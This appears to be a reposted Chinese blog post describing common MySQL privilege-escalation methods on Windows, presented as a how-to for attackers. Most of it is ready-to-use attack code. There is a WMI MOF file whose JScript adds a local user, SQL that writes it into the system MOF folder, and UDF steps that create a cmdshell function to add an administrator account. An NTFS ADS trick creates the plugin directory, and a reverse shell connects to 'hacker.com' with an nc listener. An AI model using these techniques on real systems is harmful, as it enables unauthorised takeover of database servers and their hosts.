1. 程式人生 > >mysql常用的提權方法

mysql常用的提權方法

tro pil pac 托管 建議 wsh mod sel ebs

一,利用MOF提權

Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法 1: 運行 MOF 文件指定為命令行參數將 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三種方法僅為向後兼容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。

操作步驟

1,通過webshell上傳 nullevt.mof 文件到可寫目錄,nullevt.mof 代碼如下:

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user demon 123456 /add\")";
}; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

2,通過SQL語句 讀取nullevt.mof,然後導出到 mof 目錄下

select load_file(‘C:/recycler/nullevt.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘

二,利用UDF提權

udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can‘t open shared library"的情況,這裏我們可以利用NTFS ADS流來解決這個問題。

1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。

連接到mysql以後,先導出udf.dll到 c:\windows\system32 目錄下。

2、創建相應的函數並執行命令,具體如下:

create function cmdshell returns string soname ‘udf.dll‘; -- 創建函數
select cmdshell(‘net user demon 123456 /add‘);  
select cmdshell(‘net localgroup administrators demon /add‘);
drop function cmdshell; -- 刪除函數
delete from mysql.func where name=‘cmdshell‘  -- 刪除函數

3、某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,

但是默認情況下plugin不存在,怎麽辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法

select @@basedir;   -- 查找到mysql的目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\phpstudy\\MySQL\\lib::$INDEX_ALLOCATION‘;  -- 利用NTFS ADS創建lib目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\phpstudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION‘; -- 利用NTFS ADS創建plugin目錄

  • 當默認udf導出失敗時,可以嘗試用手動方法導出udf進行提權,具體方法如下:
    先上傳udf.dll,連接到mysql,再按下面步驟執行sql語句。

        create table zz(abc longblob);//註意列類型為longblob
        insert into zz values(load_file(‘C:\\udf.dll‘)); //上傳的udf.dll路徑
        select * from zz into dumpfile ‘C://WINDOWS//system32//udf.dll‘; //導入的目標地址 mysql 5.0以上要導入到系統目錄
        Create Function MyCmd returns string soname ‘udf.dll‘; //這裏如果導出的路徑為C://WINDOWS//system32//udf2.dll‘ 可以將後面改成udf2.dll
        select MyCmd (‘ net user ‘);
        drop function MyCmd;

    刪除udf.dll 的方法,先刪除生成的函數
    Drop function MyCmd;

三,反彈 shell 提權

假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是服務器上面的網站又無法Getshell,這時我們怎麽辦呢?

1、利用mysql客戶端工具連接mysql服務器,然後執行下面的操作。

mysql.exe -h target.com -uroot -p password
mysql> \. c:\mysql.txt
mysql> select backshell("hacker.com",444);

2、本地監聽你反彈的端口

nc.exe -vlp 444

成功後,你將獲得一個system權限的cmdshell,其實這個也是利用的UDF提權。

mysql常用的提權方法